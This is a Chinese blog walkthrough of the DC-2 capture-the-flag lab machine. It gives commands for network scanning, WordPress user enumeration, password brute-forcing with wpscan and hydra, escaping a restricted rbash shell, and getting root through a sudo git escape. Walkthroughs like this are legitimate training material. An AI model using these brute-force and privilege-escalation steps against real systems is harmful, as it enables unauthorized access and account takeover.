靶机-DC-2通关全过程

本文详述了一次渗透测试的过程,从使用nmap进行网络扫描,修改hosts文件,通过wpscan针对WordPress网站的漏洞利用,到rbash限制下的权限提升,以及利用git命令临时获取root权限,最终完成渗透测试挑战。
摘要由CSDN通过智能技术生成

通关攻略—注重思路的理解,不要死记命令(均在kali虚拟机演示)

通关秘籍:

nmap -sn 192.168.177.0/24
nmap -A -p1-9000 192.168.177.131
修改hosts文件,添加IP与dc-2
浏览器访问,点击flag找到flag1
使用御剑进行目录爆破
wpscan --url dc-2 -e u
cewl dc-2 > pwd.txt
vim user.txt   把刚刚破解出来的用户名写入该文件tom,admin,Jerry
wpscan --url dc-2 -U user.txt -P pwd.txt
使用jerry用户,密码adipiscing登入网站,找到flag2
ssh tom@192.168.177.131 -p 7744   密码parturient
vi flag3.txt        找到flag3
BASH_CMDS[a]=/bin/sh;a
/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
su jerry   密码adipiscing
cd ~
ls
cat falg4.txt   找到flag4
sudo -l
sudo git help config
!/bin/bash
cd ~
ls
cat final-flag.txt
   一套带走!!!
passwd root

1、首先使用在kali虚拟机使用nmap扫描存活主机的ip

nmap -sP 192.168.177.0/24                 (-sP 快速扫描ip)

nmap -A -p1-9000 192.168.177.131       (-A 全端口扫描)

2、扫描到ip之后,浏览器访问,发现访问不了,仔细一看说拼写有错误,找到自己电脑的host文件,修改hosts文件,添加IP与dc-2进行解析

 

 

3、修改完成以后,打开浏览器再次访问,发现成功打开页面

4、开始做信息收集,在页面找可以发生变化的点,在点击flag的时候发现flag1

在这里提醒一句,别忘了powered by(页面所使用的框架,非常有用),哈哈

5、使用御剑进行目录爆破,找到后台登录页面地址,或者使用盲猜的形式,在dc-2/index.php/后面输入admin、login等关键字尝试

6、那咱就盲猜进行尝试在ip后跟wp-admin或wp-login,发现成功找到首台登录页面

7、根据powered by WordPress 的CMS提示,直接利用wpscan工具(如果使用不了工具得需要update进行更新,或者使用apt-get更新kali的源,或者ping 114.114.114.114)

WPScan是一个用于WordPress网站安全扫描的开源工具,它可以帮助用户发现WordPress网站中的漏洞和弱点。WPScan 使用Ruby编写,支持在Linux、macOS和Windows等操作系统上运行,并提供了丰富的命令行选项和功能。

通过使用WPScan,用户可以进行以下操作:

检测WordPress版本、主题和插件信息;

发现WordPress网站中可能存在的漏洞和弱点;

寻找WordPress网站管理员账号;

探测WordPress登录页面和后台管理页面的地址;

尝试使用弱口令对WordPress网站进行爆破;

收集WordPress网站的目录结构信息;

生成漏洞扫描报告等。

8、更新以后进行破解用户名,根据找到的flag1提示信息整理思路,

找后台 -- 猜用户名 – 做字典 -- 爆破 -- 目标登录后台

使用wpscan过程中发现无法连接目标服务器,分析原因因为是域名访问,当前没有连接DNS服务器,所以在攻击机器上也要修改hosts文件

9、添加好以后再进行使用wpscan工具进行破解

进行指纹信息了解

10、使用此命令先破解用户(如下图)

10、新建一个文件,将破解出来的用户名放入新建文件(相当于用户名字典)

得到三个用户名

将三个用户写入用户名字典中

11、再根据flag1提示,利用cewl工具生成当前dc站中页面关键字字典

cewl dc-2 > pwd.txt

Cewl是一个用于生成自定义字典的开源工具,它可以从指定的目标网站或文本文件中提取出关键词,并根据这些关键词生成自定义字典,以便于密码爆破等安全测试活动中使用。

Cewl使用Ruby编写,支持在Linux、macOS和Windows等操作系统上运行,并提供了丰富的命令行选项和功能。通过使用Cewl,用户可以进行以下操作:

从指定的目标网站中提取出关键词;

从指定的文本文件中提取出关键词;

根据提取出的关键词生成自定义字典;

进行字典去重、排序、大小写转换等处理;

输出生成的字典文件等。

12、再使用做好的账密字典,进行爆破登录后台账密

13、得到两组账密jerry和tom

另一种破解HTTP登录账密通用手法,方法如下(扩展)需要使用burp suite工具

hydra -L user.dic -P pwd.dic dc-2 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=LogIn&testcookie=1:S=location" -vV -o result.txt

这个命令的作用是使用Hydra工具对HTTP协议进行账号密码字典爆破。具体来说,它会读取两个字典文件user.dic和pwd.dic,其中分别存储了用户名和密码的可能候选值,然后通过Burp Suite捕获的HTTP POST请求在目标网站的登录页面(/wp-login.php)上不断尝试不同的用户名和密码组合,以测试哪些组合可以成功登录到网站。

各个参数的含义如下:

-L user.dic:指定包含用户名列表的字典文件名。

-P pwd.dic:指定包含密码列表的字典文件名。

dc-2:指定目标主机的IP地址或域名。

http-post-form:指定要攻击的目标协议和请求方式。

"/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=LogIn&testcookie=1:S=location":定义目标网站的登录请求格式。其中,"^USER^"和"^PASS^"将在攻击过程中分别被替换为不同的用户名和密码,"wp-submit=LogIn"表示登录按钮的名称,"testcookie=1"表示要求服务器设置一个测试Cookie,而"S=location"表示如果攻击成功,就重定向到/target/路径下的网页。

-vV:开启详细日志模式,输出更多的结果信息。

-o result.txt:将结果保存到result.txt文本文件中。

14、使用jerry用户,密码adipiscing登入网站,找到flag2

15、根据提示,需要找另一条路,此路不通,说明该用户没有太多利用价值,

使用tom用户进行登录

16、发现成功登录,使用Linux命令开始在家目录找到flag3,但是当查看的时候发现没有权限,命令被rbash限制了。那就想办法绕过权限

rbash是restricted bash的简称,是一种受限制的shell。在Linux系统中,rbash是一种特殊的bash shell,可以作为一个用户的默认shell。与标准bash shell相比,rbash使用了一些安全措施,限制了用户对系统的访问权限。

当一个用户使用rbash作为其默认shell时,该用户将被限制只能执行一些基本的命令,例如cd、ls和echo等,并且不能使用绝大多数的shell功能,如变量赋值、重定向、管道和通配符扩展等。此外,用户还不能改变当前工作目录以外的环境变量。

通过限制用户的权限,rbash可以帮助管理员更好地保护系统的安全性。它可以用于限制某些用户的操作范围,特别是那些不需要完全的shell功能的用户,如FTP用户等。

绕过rbash限制的技巧和漏洞:

\1. 使用绝对路径:虽然rbash限制了用户不能使用绝大多数的shell功能,但是它允许用户执行具有绝对路径的命令。因此,如果用户知道某个文件的绝对路径,他们就可以在rbash环境中执行该文件。

\2. 利用符号链接:用户可以创建符号链接来绕过rbash的限制。例如,用户可以创建一个指向/bin/sh的符号链接,并使用该链接作为其默认shell。这将使用户可以在rbash环境中运行完整的bash shell。

\3. 利用别名:用户可以使用别名来代替原始命令。在rbash环境中,别名仍然是有效的。因此,如果用户定义一个别名来代替受限制的命令,他们就可以在rbash环境中绕过限制。

\4. 利用shell内置函数:虽然rbash限制了用户能够使用的大多数shell功能,但是它仍然允许用户使用一些内置函数。因此,用户可以利用内置函数来绕过rbash限制。

我们直接使用内置函数方法:

BASH_CMDS[a]=/bin/sh;a

/bin/bash

export PATH=$PATH:/bin/

export PATH=$PATH:/usr/bin

17、Cat flag4发现提示让我们使用git命令

18、我们使用sudo -l 命令发现使用git命令是临时具有root权限并不需要提供root密码

注意:输入上面的命令以后,进入到help页面后,直接输入!/bin/bash命令回车即可,此命令即为Linux系统在 编写shell脚本时的声明,原理也就是说,在我们使用git命令的时候,临时具有root权限,在不退出git命令进程时,调用/bin/bash这个解释器也同样具有root权限,至此,提权成功

19、一套带走 Congratulatons!(渗透测试成功)

 扩展:

#认真走好每一小步  请多指教

@L尘痕

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

L尘痕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值